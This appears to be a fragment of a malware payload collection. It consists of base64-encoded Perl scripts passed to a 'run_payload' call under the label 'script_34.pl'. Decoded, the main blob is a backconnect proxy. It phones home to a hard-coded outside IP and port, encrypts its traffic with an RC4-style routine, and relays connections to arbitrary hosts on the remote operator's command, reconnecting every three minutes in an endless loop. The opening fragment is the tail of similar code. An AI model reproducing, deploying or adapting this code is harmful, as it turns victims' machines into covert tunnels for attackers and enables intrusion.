Q0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_34.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTgzJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG